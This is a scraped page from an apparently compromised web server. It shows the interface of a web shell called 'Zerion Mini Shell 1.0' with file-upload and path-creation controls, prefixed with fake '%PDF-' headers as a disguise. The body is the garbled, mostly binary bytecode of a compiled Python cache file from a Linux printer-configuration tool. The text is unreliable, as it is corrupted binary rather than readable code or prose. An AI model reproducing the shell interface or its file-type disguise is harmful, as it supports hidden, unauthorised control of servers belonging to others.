%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/system-config-printer/__pycache__/
Upload File :
Create Path :
Current File : //usr/share/system-config-printer/__pycache__/ppdcache.cpython-312.pyc

�

HfJ��B�ddlZddlZddlmZddlmZddlmZddlZddlmZddl	m
Z
ddl�ejd�Gd	�d
�Z
edk(r�ddlZddl�ddlmZed
�ej$�ej&�Zd�Zej,�Zej1�Z[e
�ZdZeD]Zej9ee��er<ej:dej8ee�ej:dej<�ej?�yy)�N)�GLib)�Gdk)�Gtk)�copyfileobj)�NamedTemporaryFile)�*z1.9.50c�B�eZdZd
d�Zd�Zdd�Zdd�Zd�Zd�Zd�Z	d	�Z
y)
�PPDCacheNc���d|_d|_t�|_t�|_||_||_||_t�|_	d|_
td|z�y)NFz+%s)�_cups�_exc�dict�_cache�	_modtimes�_host�_port�_encryption�list�_queued�_connecting�
debugprint)�self�host�port�
encryptions    �,/usr/share/system-config-printer/ppdcache.py�__init__zPPDCache.__init__"sU����
���	��f���������
���
�%����v��� ����E�D�L�!�c�n�td|z�|jr|jj�yy)Nz-%s)rr�destroy)rs r�__del__zPPDCache.__del__.s*���E�D�L�!��:�:��J�J���!�rc�t����|rV��jvrHt��d��d���jj��j����fd����fd���y	�j�}|jd
�t�5}t||�	tj |j"�}�j
��|d�ddd�y#t
$r}�j
��d|�Yd}~yd}~wt$r��js;�jj��f��js�j�Yyt��d�����jj����fd����fd��	�YywxYw#t$$r}�j
��d|�Yd}~��d}~wwxYw#1swYyxYw)Nz: check if z is up to datec�,���j|�|��S�N��	_got_ppd3��c�r�callback�namers  ���r�<lambda>z$PPDCache.fetch_ppd.<locals>.<lambda>:����$(�N�N�A�t�Q��$I�rc�,���j|�|��Sr$r%r's  ���rr,z$PPDCache.fetch_ppd.<locals>.<lambda><r-r)�modtime�
reply_handler�
error_handlerz: fetch PPD for c�,���j|�|��Sr$r%r's  ���rr,z$PPDCache.fetch_ppd.<locals>.<lambda>Or-rc�,���j|�|��Sr$r%r's  ���rr,z$PPDCache.fetch_ppd.<locals>.<lambda>Qr-r)r0r1r)rrr�getPPD3r�RuntimeError�_schedule_callback�KeyErrorr�appendr�_connect�seekrr�cups�PPD�file�	Exception)rr+r*�check_uptodate�f�e�tmpf�ppds```     r�	fetch_ppdzPPDCache.fetch_ppd3s�����d�d�n�n�4�
�4��F�G��J�J����(,���t�(<�/J�/J�	
�
K�
�	����D�!�A�.	
����
�
�
"�	B�d���D�!�
B��h�h��	�	�*���'�'��4��d�C�	B�	B��/�	��#�#�X�t�T�1�=����	��:�:����#�#�d�H�%5�6��'�'��M�M�$���$��=�>��J�J����/J�/J�
�
K�

�	��4�
B��'�'��4��q�A�A��
B��
	B�	B�sU�C�
F.�3F�	F�C3�3AF�8F�F�	F+�
F&�!F.�&F+�+F.�.F7c��d|_tj|j|j|j
|j|j��y)NT)rrrr0r1)r�	asyncconn�
Connectionrrr�
_connected)rr*s  rr9zPPDCache._connectbs;��������4�:�:�D�J�J�)-�)9�)9�,0�O�O�,0�O�O�	=rc��t|t�r|j||t|�y	t	|d�|j
|<t
d|||j
|j�fz�tj|�|j||�y#t$r}|j||d|�Yd}~yd}~wwxYw)N�rbz%s: caching %s (fd %d))�
isinstancer>r6�none�openrr�fileno�os�unlink�IOErrorrD)r�
connectionr+�resultr*�excs      r�_got_ppdzPPDCache._got_ppdis����v�y�)��#�#�X�t�T�6�B�
�$(�&�$�$7����D�!��4�!�6�!�[�[��.�5�5�7�9�9�:��	�	�6�"�

�N�N�D�(�+��	�
��'�'��4��s�C���
�s�AB�	B?�!B:�:B?c��|\}}}|tjtjfvr�|tjk(r	tj|�n|tjk(rl	t
|d�|j|<td|||j|j�||fz�tj|�||j|<|j||d��y|j||dtj|��y#t
$rY�HwxYw#t$r/}t|�d|�d��|j||d|�Yd}~yd}~wwxYw)NrJz %s: caching %s (fd %d) (%s) - %sz: file z  disappeared? Unable to cache itF)r?)r;�HTTP_OK�HTTP_NOT_MODIFIEDrOrP�OSErrorrMrrrNrrQr6rD�	HTTPError)	rrRr+rSr*�statusr/�filenamerTs	         rr&zPPDCache._got_ppd3{sD��&,�#���(��d�l�l�D�$:�$:�;�;���/�/�/�
��I�I�x�(��4�<�<�'�
�(,�h��(=�D�K�K��%��!,�/3�X�/3�{�{�4�/@�/G�/G�/J�/6��/@�!@�A��I�I�x�(�+2�D�N�N�4�(�
�N�N�D�(�5�N�A��#�#�X�t�%)�4�>�>�6�+B�
D��7�����"���#'��!3�4��+�+�X�t�T�3�G����s*�D�'A+D�	D�D�	E�'%E�Ec���d|_t|t�rd|_||_n||_|j
}t
�|_|D]\}}|j||��y�NF)rrKr>rr
rrrD)rrRrT�queuedr+r*s      rrHzPPDCache._connected�s\�� ����s�I�&��D�J��D�I�#�D�J������v���$�	,�N�D�(��N�N�D�(�+�	,rc�<�d�}tj|||||�y)Nc�h�tj�||||�tj�yr^)r�
threads_enter�
threads_leave)r*r+rSrTs    r�cb_funcz,PPDCache._schedule_callback.<locals>.cb_func�s)����� ��d�F�C�(���� �r)r�idle_add)rr*r+rSrTrds      rr6zPPDCache._schedule_callback�s��	�	
�
�
�w��$���<r)NNN)Tr$)�__name__�
__module__�__qualname__rr!rDr9rUr&rHr6�rrr
r
!s.��
"�"�
-B�^=�,�$&D�P,�=rr
�__main__)�GObjectTc�p�td|z�tt|��tt|��y)Nz**** %s)r�repr)r+rSrTs   r�signalrn�s'���I��$�%��D�&�M�"��D�#�J�r��) rFr;�
gi.repositoryrrrrO�shutilr�tempfiler�debug�requirer
rf�sysrk�
set_debugging�threads_init�MainLoop�looprnrGr(�getPrinters�printers�cache�prD�timeout_add_seconds�quit�runrirr�<module>r�s��*�����	��'������h��V=�V=�p�z����%��4���C�����7����D� �
	�����A��}�}��H�	��K�E��A�
�$��
����F�#�$�	� �� � �!�U�_�_�a��@� �� � �!�T�Y�Y�/��H�H�K�3r

Zerion Mini Shell 1.0